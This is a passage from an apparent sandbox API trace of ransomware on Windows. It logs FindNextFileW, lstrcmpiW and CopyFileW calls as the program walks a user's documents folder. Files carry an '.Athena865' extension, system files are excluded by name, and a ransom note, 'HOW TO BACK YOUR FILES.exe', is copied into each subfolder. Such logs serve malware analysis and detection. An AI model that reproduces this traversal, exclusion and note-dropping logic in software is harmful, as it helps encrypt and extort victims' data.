lpString2="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865" | out: lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865") returned="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865" [0051.368] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865") returned 34 [0051.368] lstrlenW (lpString="Athena865") returned 9 [0051.368] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.368] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ad73fb0, ftCreationTime.dwHighDateTime=0x1d52f26, ftLastAccessTime.dwLowDateTime=0x2d86eca0, ftLastAccessTime.dwHighDateTime=0x1d55394, ftLastWriteTime.dwLowDateTime=0xc5d30400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DE4p2jrvfdb77XYRN.xlsx.Athena865", cAlternateFileName="DE4P2J~1.ATH")) returned 1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2=".") returned 1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="..") returned 1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="windows") returned -1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="bootmgr") returned 1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="temp") returned -1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="pagefile.sys") returned -1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="boot") returned 1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="ids.txt") returned -1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="ntuser.dat") returned -1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="perflogs") returned -1 [0051.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="MSBuild") returned -1 [0051.368] lstrlenW (lpString="DE4p2jrvfdb77XYRN.xlsx.Athena865") returned 32 [0051.368] lstrcpyW (in: lpString1=0x241e8c0, lpString2="DE4p2jrvfdb77XYRN.xlsx.Athena865" | out: lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865") returned="DE4p2jrvfdb77XYRN.xlsx.Athena865" [0051.368] lstrlenW (lpString="DE4p2jrvfdb77XYRN.xlsx.Athena865") returned 32 [0051.368] lstrlenW (lpString="Athena865") returned 9 [0051.368] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.368] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0051.368] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0051.369] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0051.369] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0051.369] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0051.369] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0051.369] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0051.369] lstrcpyW (in: lpString1=0x241e8c0, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0051.369] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0051.369] lstrlenW (lpString="Athena865") returned 9 [0051.369] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.369] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf284e260, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xc5d56560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5d56560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ES3F3HYy", cAlternateFileName="")) returned 1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2=".") returned 1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="..") returned 1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="windows") returned -1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="bootmgr") returned 1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="temp") returned -1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="pagefile.sys") returned -1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="boot") returned 1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="ids.txt") returned -1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="ntuser.dat") returned -1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="perflogs") returned -1 [0051.369] lstrcmpiW (lpString1="ES3F3HYy", lpString2="MSBuild") returned -1 [0051.369] lstrlenW (lpString="ES3F3HYy") returned 8 [0051.369] lstrcpyW (in: lpString1=0x241e8c0, lpString2="ES3F3HYy" | out: lpString1="ES3F3HYy") returned="ES3F3HYy" [0051.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a490 [0051.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x52a800 [0051.369] lstrcatW (in: lpString1="ES3F3HYy", lpString2="\\" | out: lpString1="ES3F3HYy\\") returned="ES3F3HYy\\" [0051.369] lstrcatW (in: lpString1="ES3F3HYy\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ES3F3HYy\\HOW TO BACK YOUR FILES.exe") returned="ES3F3HYy\\HOW TO BACK YOUR FILES.exe" [0051.369] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\es3f3hyy\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.370] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f945a0, ftCreationTime.dwHighDateTime=0x1d510a5, ftLastAccessTime.dwLowDateTime=0xbe0ac8f0, ftLastAccessTime.dwHighDateTime=0x1d4f417, ftLastWriteTime.dwLowDateTime=0xc5d7c6c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17b10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hm58cOqk.docx.Athena865", cAlternateFileName="HM58CO~1.ATH")) returned 1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2=".") returned 1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="..") returned 1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="windows") returned -1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="bootmgr") returned 1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="temp") returned -1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="pagefile.sys") returned -1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="boot") returned 1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="ids.txt") returned -1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="ntuser.dat") returned -1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="perflogs") returned -1 [0051.370] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="MSBuild") returned -1 [0051.370] lstrlenW (lpString="hm58cOqk.docx.Athena865") returned 23 [0051.370] lstrcpyW (in: lpString1=0x241e8c0, lpString2="hm58cOqk.docx.Athena865" | out: lpString1="hm58cOqk.docx.Athena865") returned="hm58cOqk.docx.Athena865" [0051.370] lstrlenW (lpString="hm58cOqk.docx.Athena865") returned 23 [0051.370] lstrlenW (lpString="Athena865") returned 9 [0051.370] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.370] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0051.370] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0051.370] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181708a0, ftCreationTime.dwHighDateTime=0x1d514b0, ftLastAccessTime.dwLowDateTime=0xfb97bc0, ftLastAccessTime.dwHighDateTime=0x1d55501, ftLastWriteTime.dwLowDateTime=0xc5da2820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xdd10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iipccoSifvOHT1TcFcj.docx.Athena865", cAlternateFileName="IIPCCO~1.ATH")) returned 1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2=".") returned 1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="..") returned 1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="windows") returned -1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="bootmgr") returned 1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="temp") returned -1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="pagefile.sys") returned -1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="boot") returned 1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="ids.txt") returned 1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="ntuser.dat") returned -1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="perflogs") returned -1 [0051.371] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="MSBuild") returned -1 [0051.371] lstrlenW (lpString="iipccoSifvOHT1TcFcj.docx.Athena865") returned 34 [0051.371] lstrcpyW (in: lpString1=0x241e8c0, lpString2="iipccoSifvOHT1TcFcj.docx.Athena865" | out: lpString1="iipccoSifvOHT1TcFcj.docx.Athena865") returned="iipccoSifvOHT1TcFcj.docx.Athena865" [0051.371] lstrlenW (lpString="iipccoSifvOHT1TcFcj.docx.Athena865") returned 34 [0051.371] lstrlenW (lpString="Athena865") returned 9 [0051.371] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.371] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1 [0051.371] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1 [0051.372] lstrlenW (lpString="My Music") returned 8 [0051.372] lstrcpyW (in: lpString1=0x241e8c0, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0051.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a4a8 [0051.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x52a898 [0051.372] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0051.372] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0051.372] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.372] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1 [0051.372] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1 [0051.373] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1 [0051.373] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1 [0051.373] lstrlenW (lpString="My Pictures") returned 11 [0051.373] lstrcpyW (in: lpString1=0x241e8c0, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0051.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a4c0 [0051.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x52a930 [0051.373] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0051.373] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0051.373] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.374] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xc5dc8980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5dc8980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2=".") returned 1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="..") returned 1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="windows") returned -1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="bootmgr") returned 1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="temp") returned -1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="pagefile.sys") returned -1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="boot") returned 1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="ids.txt") returned 1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="ntuser.dat") returned -1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="perflogs") returned -1 [0051.374] lstrcmpiW (lpString1="My Shapes", lpString2="MSBuild") returned 1 [0051.374] lstrlenW (lpString="My Shapes") returned 9 [0051.374] lstrcpyW (in: lpString1=0x241e8c0, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0051.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a4d8 [0051.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x52a9c8 [0051.374] lstrcatW (in: lpString1="My Shapes", lpString2="\\" | out: lpString1="My Shapes\\") returned="My Shapes\\" [0051.374] lstrcatW (in: lpString1="My Shapes\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Shapes\\HOW TO BACK YOUR FILES.exe") returned="My Shapes\\HOW TO BACK YOUR FILES.exe" [0051.374] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my shapes\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.375] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1 [0051.375] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1 [0051.375] lstrlenW (lpString="My Videos") returned 9 [0051.375] lstrcpyW (in: lpString1=0x241e8c0, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0051.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a4f0 [0051.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x532d20 [0051.375] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0051.375] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0051.375] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.376] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xc5deeae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5deeae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2=".") returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="..") returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="windows") returned -1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="bootmgr") returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="temp") returned -1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="pagefile.sys") returned -1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="boot") returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="ids.txt") returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="ntuser.dat") returned 1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="perflogs") returned -1 [0051.376] lstrcmpiW (lpString1="Outlook Files", lpString2="MSBuild") returned 1 [0051.376] lstrlenW (lpString="Outlook Files") returned 13 [0051.376] lstrcpyW (in: lpString1=0x241e8c0, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0051.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a508 [0051.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x52aa60 [0051.376] lstrcatW (in: lpString1="Outlook Files", lpString2="\\" | out: lpString1="Outlook Files\\") returned="Outlook Files\\" [0051.376] lstrcatW (in: lpString1="Outlook Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Outlook Files\\HOW TO BACK YOUR FILES.exe") returned="Outlook Files\\HOW TO BACK YOUR FILES.exe" [0051.376] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\outlook files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.377] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, 